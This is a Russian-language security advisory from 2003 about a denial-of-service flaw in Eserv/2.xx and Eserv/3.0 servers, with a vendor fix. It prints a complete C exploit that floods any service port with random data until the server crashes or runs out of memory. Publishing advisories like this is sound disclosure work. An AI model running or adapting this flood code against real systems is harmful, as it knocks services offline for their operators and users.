Security Lab

DoS против Eserv/2.xx и в acWeb сервисе Eserv/3.0

Дата публикации:01.11.2003
Всего просмотров:1956
Опасность:
Низкая
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Уязвимые версии: Eserv/2.xx/3.0

Описание: Уязвимость обнаружена во всех сервисах Eserv/2.xx и в acWeb сервисе Eserv/3.0. Удаленный атакующий может вызвать отказ в обслуживании.

При посылке, в течении некоторого времени, специальным образом сконструированного буфера (см. эксплоит) любому из предоставляемых сервисов Eserv/2.xx (проверенно на ftp, smtp, web, http-proxy, ftp-proxy, pop3), программа, без каких-либо сообщений, прекращает свою работу. При этом, соответственно, все сервисы становятся недоступными.

Постоянная посылка этого же буфера acWeb сервису Eserv/3.0, приводит к пожиранию (утечке?) памяти программой. В локальной сети на Win2K поедание происходит со скоростью 10Мб/сек, что, при продолжении атаки, приводит к полному истощению оперативной и виртуальной памяти сервера.

Пример/Эксплоит:

/*
 * m00-eserv-DoS.c
 *
 * this is trivial DoS :) *
 * sending garbage on any services port (tested on 21, 25, 80, 110, 3121, 3128)
 * result: exiting program and close all eserv services 
 * if you seen message: Broken pipe
 * then may going drink beer 8)
 *
 * tested on Eserv/2.x
 * Eserv 3.0 only web(80) services susceptible on this DoS
 *
 * m00security.org / by rash
 */

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(int argc, char *argv[])
{  
  char buf[2000];
  int fd;
  struct sockaddr_in rsin;

  if (argc!=3) {
   printf("\n usage: %s <ip> <port>\n\n", argv[0]);
   exit(0);  
  }
  
  rsin.sin_family = AF_INET;
  rsin.sin_port   = htons(atoi(argv[2]));
  rsin.sin_addr.s_addr = inet_addr(argv[1]);
 
  for (fd=0;fd<2000;fd++)
    buf[fd]=(int *)((rand()*10));
  
  fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);             
  if (connect(fd,(struct sockaddr *)&rsin,sizeof(struct sockaddr))) perror("[-] 
connect()"),exit(0);
  
  printf("[+] connected..\n"); 
  printf("[+] send data to host..\n"); 
  
  while (1) {
   if ((send(fd, buf, 2000, 0))<0)      
     break;  
  }   
}

URL производителя:http://www.eserv.ru/

Решение: Разработчиками выпущен новый билд Eserv/2.99 с исправленной ошибкой, доступный по этому адресу: ftp://ftp.eserv.ru/pub/beta/2.99/Eserv3463.zip

Ссылки: Memory-leak vulnerability in EServ/3.00